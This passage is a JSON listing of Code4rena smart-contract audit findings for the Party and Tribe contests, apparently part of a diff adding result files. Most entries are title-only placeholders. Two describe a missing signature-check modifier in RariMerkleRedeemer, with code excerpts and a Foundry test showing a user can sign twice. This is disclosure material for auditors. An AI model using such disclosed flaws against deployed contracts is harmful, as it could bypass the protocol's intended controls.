"https://github.com/code-423n4/2022-09-party-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/90", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "A malicious Market Wrapper can disrupt the Auction Crowdfund ", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-party-findings", "body": "A malicious Market Wrapper can disrupt the Auction Crowdfund "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/75", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/72", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/67", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/66", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/55", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/54", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor disputed"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor disputed"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Malicious contributor may DOS crowdfund, trapping all assets within a crowdfund.", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Malicious contributor may DOS crowdfund, trapping all assets within a crowdfund."}] \ No newline at end of file diff --git a/results/codearena_findings_27.json b/results/codearena_findings_27.json new file mode 100644 index 0000000..e30c196 --- /dev/null +++ b/results/codearena_findings_27.json @@ -0,0 +1 @@ +[{"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor disputed", "old-submission-method"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "ETH locked forever, users are forced to buy because they cannot withdraw", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/15", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor disputed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "ETH locked forever, users are forced to buy because they cannot withdraw"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor disputed"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor disputed"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/4", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor disputed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/1", "labels": [], "target": "2022-09-party-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/280", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/272", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/269", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/260", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/258", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/255", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/252", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/251", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/248", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/247", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/245", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/236", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "RariMerkleRedeemer's signAndClaim lacks hasNotSigned modifier", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/233", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "RariMerkleRedeemer's signAndClaim lacks hasNotSigned modifier"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "Forcing users to receive all tokens could cause issues with future redemption", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-tribe-findings", "body": "Forcing users to receive all tokens could cause issues with future redemption"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/221", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "In TribeRedeemer.sol, _tokensReceived array can have duplicate token as it is array. This can happen by user input error while deploying the contract.", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-tribe-findings", "body": "In TribeRedeemer.sol, _tokensReceived array can have duplicate token as it is array. This can happen by user input error while deploying the contract."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/206", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/200", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/156", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "A malicious user can send tokens to the TribeRedeemer contract to make the redeem function work, and other users may lose assets as a result", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-09-tribe-findings", "body": "A malicious user can send tokens to the TribeRedeemer contract to make the redeem function work, and other users may lose assets as a result"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "TribeRedeemer will start redeeming incorrectly if someone transfer redeem tokens directly to it", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/114", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-09-tribe-findings", "body": "TribeRedeemer will start redeeming incorrectly if someone transfer redeem tokens directly to it"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "In RariMerkleRedeemer, function signAndClaim() doesn't have hasNotSigned and has different behavior than sign() and signAndClaimAndRedeem() ", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/107", "labels": ["bug", "duplicate", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-tribe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-tribe/blob/769b0586b4975270b669d7d1581aa5672d6999d5/contracts/shutdown/fuse/RariMerkleRedeemer.sol#L88-L98 https://github.com/code-423n4/2022-09-tribe/blob/769b0586b4975270b669d7d1581aa5672d6999d5/contracts/shutdown/fuse/RariMerkleRedeemer.sol#L108-L118 https://github.com/code-423n4/2022-09-tribe/blob/769b0586b4975270b669d7d1581aa5672d6999d5/contracts/shutdown/fuse/RariMerkleRedeemer.sol#L48-L50 # Vulnerability details ## Impact All three functions `signAndClaim()`, `sign()` and `signAndClaimAndRedeem()` are signing but `signAndClaim()` has different modifier than the other two. function `signAndClaim()` doesn't have `hasNotSigned` modifier and it's callable even when the users already signed. this different access level and behavior can cause other security issues. for example here it's possible for user to run sign multiple times. ## Proof of Concept This is `signAndClaim()`, `sign()` and `signAndClaimAndRedeem()` codes in `RariMerkleRedeemer`: ``` function sign(bytes calldata signature) external override hasNotSigned nonReentrant { _sign(signature); } function signAndClaim( bytes calldata signature, address[] calldata cTokens, uint256[] calldata amounts, bytes32[][] calldata merkleProofs ) external override nonReentrant { // both sign and claim/multiclaim will revert on invalid signatures/proofs _sign(signature); _multiClaim(cTokens, amounts, merkleProofs); } function signAndClaimAndRedeem( bytes calldata signature, address[] calldata cTokens, uint256[] calldata amountsToClaim, uint256[] calldata amountsToRedeem, bytes32[][] calldata merkleProofs ) external override hasNotSigned nonReentrant { _sign(signature); _multiClaim(cTokens, amountsToClaim, merkleProofs); _multiRedeem(cTokens, amountsToRedeem); } ``` As you can see `signAndClaimAndRedeem()` and `sign()` has `hasNotSigned ` modifier but `signAndClaim` doesn't have that modifier. ## Tools Used VIM ## Recommended Mitigation Steps add same modifier for `signAndClaimAndRedeem()` too."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/79", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "Missing `hasNotSigned` modifier in `signAndClaim`", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/51", "labels": ["bug", "disagree with severity", "high quality report", "primary issue", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-tribe/blob/769b0586b4975270b669d7d1581aa5672d6999d5/contracts/shutdown/fuse/RariMerkleRedeemer.sol#L93 # Vulnerability details ## Impact [This](https://github.com/code-423n4/2022-09-tribe/blob/769b0586b4975270b669d7d1581aa5672d6999d5/contracts/shutdown/fuse/MultiMerkleRedeemer.sol#L41) comment and existence of the [`testCannotSignTwice`](https://github.com/code-423n4/2022-09-tribe/blob/769b0586b4975270b669d7d1581aa5672d6999d5/contracts/test/integration/shutdown/fuse/rariMerkleRedeemer.t.sol#L453) test case makes it clear that intended behavior of the protocol is to prevent users from submitting a signature of `MESSAGE_HASH` twice. However, any user can circumvent this and overwrite once provided signature with another valid one. ## Proof of Concept Add the following test case to [this file](https://github.com/code-423n4/2022-09-tribe/blob/main/contracts/test/integration/shutdown/fuse/rariMerkleRedeemer.t.sol) and run integration tests: ``` function testCanSignTwice() public { vm.startPrank(addresses[0]); IERC20(cToken0).approve(address(redeemer), 100_000_000e18); (uint8 v0, bytes32 r0, bytes32 s0) = vm.sign(keys[0], redeemer.MESSAGE_HASH()); bytes memory signature0 = bytes.concat(r0, s0, bytes1(v0)); redeemer.sign(signature0); address[] memory cTokens; uint256[] memory amounts; bytes32[][] memory merkleProofs; // vm.expectRevert(\"User has already signed\"); redeemer.signAndClaim(signature0, cTokens, amounts, merkleProofs); vm.stopPrank(); } ``` As we can see, `signAndClaim` doesn't revert despite non-zero `userSignatures[msg.sender]` because of the missing `hasNotSigned` modifier. Moreover, when arguments passed to `redeemer.signAndClaim` are a signature and empty lists, then this function effectively behaves just like `_sign`. ## Tools Used Foundry ## Recommended Mitigation Steps Add missing `hasNotSigned` modifier to the `redeemer.signAndClaim` function."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)"], "target": 